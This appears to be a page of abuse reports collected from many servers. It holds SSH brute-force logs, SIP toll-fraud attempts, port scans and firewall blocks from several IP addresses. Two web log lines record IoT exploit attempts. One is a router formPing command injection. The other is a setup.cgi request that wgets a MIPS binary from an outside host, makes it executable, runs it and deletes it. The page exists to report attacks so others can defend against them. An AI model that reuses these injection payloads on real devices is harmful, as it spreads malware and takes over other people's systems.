web-1 [ssh] SSH Attack

Jun 10 18:11:02 host sshd[3642]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.181  user=root
Jun 10 18:11:04 host sshd[3642]: Failed password for root from 37.49.226.181 port 55812 ssh2
...

Triggered by Fail2Ban at Ares web server

Jun  7 19:03:54 server sshd[21101]: Failed password for root from 37.49.226.181 port 40888 ssh2
Jun  7 19:04:12 server sshd[21493]: Failed password for root from 37.49.226.181 port 45474 ssh2
Jun  7 19:04:31 server sshd[21862]: Failed password for root from 37.49.226.181 port 50050 ssh2

Jun  2 **REMOVED** sshd\[5161\]: Invalid user user from 37.49.226.181
Jun  2 **REMOVED** sshd\[5163\]: Invalid user git from 37.49.226.181
Jun  2 **REMOVED** sshd\[5166\]: Invalid user postgres from 37.49.226.181

Jun  1 05:54:43 server sshd[26253]: Failed password for root from 37.49.226.181 port 46334 ssh2
Jun  1 05:55:02 server sshd[26569]: Failed password for root from 37.49.226.181 port 50340 ssh2
Jun  1 05:55:21 server sshd[26879]: Failed password for root from 37.49.226.181 port 54558 ssh2

Apr 11 00:02:23 intra sshd\[62583\]: Invalid user fake from 37.49.226.181Apr 11 00:02:25 intra sshd\[62583\]: Failed password for invalid user fake from 37.49.226.181 port 47756 ssh2Apr 11 00:02:26 intra sshd\[62585\]: Invalid user admin from 37.49.226.181Apr 11 00:02:28 intra sshd\[62585\]: Failed password for invalid user admin from 37.49.226.181 port 57798 ssh2Apr 11 00:02:31 intra sshd\[62587\]: Failed password for root from 37.49.226.181 port 40346 ssh2Apr 11 00:02:31 intra sshd\[62589\]: Invalid user ubnt from 37.49.226.181
...

TCP ports : 465 / 587

TCP ports : 465 / 587

[2020-07-24 06:05:37] NOTICE[1277][C-00002857] chan_sip.c: Call from '' (37.49.226.39:61946) to extension '971441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:05:37] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:05:37.251-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="971441144630017",SessionID="0x7f1754318b48",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.39/61946",ACLName="no_extension_match"
[2020-07-24 06:06:27] NOTICE[1277][C-00002859] chan_sip.c: Call from '' (37.49.226.39:57469) to extension '9710441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:06:27] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:06:27.162-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="9710441144630017",SessionID="0x7f1754742008",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/3
...

[2020-07-23 02:28:17] NOTICE[1277][C-00002114] chan_sip.c: Call from '' (37.49.226.41:56352) to extension '199441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:28:17] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:28:17.484-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199441274066041",SessionID="0x7f175452b198",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.41/56352",ACLName="no_extension_match"
[2020-07-23 02:29:44] NOTICE[1277][C-00002115] chan_sip.c: Call from '' (37.49.226.41:56115) to extension '199810441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:29:44] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:29:44.136-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199810441274066041",SessionID="0x7f1754694fe8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/U
...

[-]:80 37.49.226.35 - - [16/Jul/2020:13:54:39 +0200] "POST /boaform/admin/formPing?target_addr=;'+payload+'%20/&waninf=1_INTERNET_R_VID_154 HTTP/1.1" 301 631 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.30.2.el6.x86_64"

37.49.226.35 - - [15/Jul/2020:05:16:28 -0500] "GET https://www.ad5gb.com/setup.cgi?next_file=afr.cfg&todo=syscmd&cmd=wget%20http://45.95.168.230/bins/Meth.mips%20-O%20/var/tmp/Meth.mips;%20chmod%20777%20/var/tmp/Meth.mips;%20/var/tmp/Meth.mips%20africo.exploit;%20rm%20-rf%20/var/tmp/Meth.mips&curpath=/¤tsetting.htm=1 HTTP/1.1" 400 346 400 346 0 0 452 416 605 295 0 DIRECT FIN FIN TCP_MISS

firewall-block, port(s): 5683/udp

Unauthorized connection attempt detected from IP address 37.49.226.4 to port 81

[2020-07-04 01:01:24] NOTICE[1197][C-00001132] chan_sip.c: Call from '' (37.49.226.37:49525) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:01:24] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:01:24.282-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d28136c98",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.37/49525",ACLName="no_extension_match"
[2020-07-04 01:04:58] NOTICE[1197][C-00001138] chan_sip.c: Call from '' (37.49.226.37:61836) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:04:58] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:04:58.923-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d288c4af8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.
...

 TCP (SYN) 37.49.226.4:58116 -> port 81, len 44

firewall-block, port(s): 81/tcp

 TCP (SYN) 37.49.226.4:43452 -> port 81, len 44

Unauthorized connection attempt detected from IP address 37.49.226.227 to port 23 [T]

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

May 22 07:14:34 debian-2gb-nbg1-2 kernel: \[12383293.204596\] \[UFW BLOCK\] IN=eth0 OUT= MAC=96:00:00:0e:18:f4:d2:74:7f:6e:37:e3:08:00 SRC=195.54.167.9 DST=195.201.40.59 LEN=40 TOS=0x00 PREC=0x00 TTL=245 ID=12074 PROTO=TCP SPT=52666 DPT=43849 WINDOW=1024 RES=0x00 SYN URGP=0

port scan and connect, tcp 80 (http)

May 22 07:38:44 abendstille sshd\[12655\]: Invalid user yfb from 106.12.113.111
May 22 07:38:44 abendstille sshd\[12655\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.12.113.111
May 22 07:38:45 abendstille sshd\[12655\]: Failed password for invalid user yfb from 106.12.113.111 port 39468 ssh2
May 22 07:40:27 abendstille sshd\[14844\]: Invalid user ogv from 106.12.113.111
May 22 07:40:27 abendstille sshd\[14844\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.12.113.111
...

2020-05-22T08:57:35.790127afi-git.jinr.ru sshd[29331]: Invalid user eqj from 5.135.164.201 port 38298
2020-05-22T08:57:35.793472afi-git.jinr.ru sshd[29331]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=ns3317498.ip-5-135-164.eu
2020-05-22T08:57:35.790127afi-git.jinr.ru sshd[29331]: Invalid user eqj from 5.135.164.201 port 38298
2020-05-22T08:57:38.390811afi-git.jinr.ru sshd[29331]: Failed password for invalid user eqj from 5.135.164.201 port 38298 ssh2
2020-05-22T09:00:52.759812afi-git.jinr.ru sshd[30229]: Invalid user wnr from 5.135.164.201 port 43500
...

20/5/21@23:57:08: FAIL: Alarm-Network address from=202.44.241.232
...

[2020-05-22 01:16:11] NOTICE[1157] chan_sip.c: Registration from '"203" ' failed for '45.143.220.18:5369' - Wrong password
[2020-05-22 01:16:11] SECURITY[1173] res_security_log.c: SecurityEvent="InvalidPassword",EventTV="2020-05-22T01:16:11.527-0400",Severity="Error",Service="SIP",EventVersion="2",AccountID="203",SessionID="0x7f5f103a3228",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/45.143.220.18/5369",Challenge="01fccdc7",ReceivedChallenge="01fccdc7",ReceivedHash="cc45f32181854445e73570a75471c10a"
[2020-05-22 01:16:11] NOTICE[1157] chan_sip.c: Registration from '"203" ' failed for '45.143.220.18:5369' - Wrong password
[2020-05-22 01:16:11] SECURITY[1173] res_security_log.c: SecurityEvent="InvalidPassword",EventTV="2020-05-22T01:16:11.656-0400",Severity="Error",Service="SIP",EventVersion="2",AccountID="203",SessionID="0x7f5f10348b88",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/45.143.2
...

May 22 07:11:51 vps sshd[513961]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.13.184.22
May 22 07:11:54 vps sshd[513961]: Failed password for invalid user lbp from 106.13.184.22 port 57698 ssh2
May 22 07:15:32 vps sshd[533512]: Invalid user vxf from 106.13.184.22 port 49032
May 22 07:15:32 vps sshd[533512]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.13.184.22
May 22 07:15:34 vps sshd[533512]: Failed password for invalid user vxf from 106.13.184.22 port 49032 ssh2
...

May 22 01:57:27 firewall sshd[5012]: Invalid user aeb from 139.59.57.2
May 22 01:57:30 firewall sshd[5012]: Failed password for invalid user aeb from 139.59.57.2 port 57234 ssh2
May 22 02:02:36 firewall sshd[5152]: Invalid user kij from 139.59.57.2
...

May 22 06:42:10 srv-ubuntu-dev3 sshd[116046]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.92.0.190  user=root
May 22 06:42:11 srv-ubuntu-dev3 sshd[116046]: Failed password for root from 218.92.0.190 port 34881 ssh2
May 22 06:42:15 srv-ubuntu-dev3 sshd[116046]: Failed password for root from 218.92.0.190 port 34881 ssh2
May 22 06:42:10 srv-ubuntu-dev3 sshd[116046]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.92.0.190  user=root
May 22 06:42:11 srv-ubuntu-dev3 sshd[116046]: Failed password for root from 218.92.0.190 port 34881 ssh2
May 22 06:42:15 srv-ubuntu-dev3 sshd[116046]: Failed password for root from 218.92.0.190 port 34881 ssh2
May 22 06:42:10 srv-ubuntu-dev3 sshd[116046]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.92.0.190  user=root
May 22 06:42:11 srv-ubuntu-dev3 sshd[116046]: Failed password for root from 218.92.0.190 port 34881 ssh2
M
...

Port probing on unauthorized port 1433

Failed password for invalid user from 85.209.0.102 port 38756 ssh2

2020-05-22T14:38:25.821941vivaldi2.tree2.info sshd[16982]: refused connect from 222.186.52.131 (222.186.52.131)
2020-05-22T14:39:06.654650vivaldi2.tree2.info sshd[17042]: refused connect from 222.186.52.131 (222.186.52.131)
2020-05-22T14:39:46.706036vivaldi2.tree2.info sshd[17052]: refused connect from 222.186.52.131 (222.186.52.131)
2020-05-22T14:40:29.005599vivaldi2.tree2.info sshd[17171]: refused connect from 222.186.52.131 (222.186.52.131)
2020-05-22T14:41:08.926875vivaldi2.tree2.info sshd[17197]: refused connect from 222.186.52.131 (222.186.52.131)
...

May 22 06:27:26 [host] sshd[24351]: Invalid user y
May 22 06:27:26 [host] sshd[24351]: pam_unix(sshd:
May 22 06:27:28 [host] sshd[24351]: Failed passwor

May 22 07:59:31 nextcloud sshd\[24952\]: Invalid user cln from 111.229.57.3
May 22 07:59:31 nextcloud sshd\[24952\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=111.229.57.3
May 22 07:59:32 nextcloud sshd\[24952\]: Failed password for invalid user cln from 111.229.57.3 port 57338 ssh2

May 22 05:56:42 server-01 sshd[17884]: Invalid user admin from 45.95.168.175 port 57362
May 22 05:56:43 server-01 sshd[17886]: Invalid user admin from 45.95.168.175 port 57758
May 22 05:56:43 server-01 sshd[17888]: Invalid user ubuntu from 45.95.168.175 port 58152
...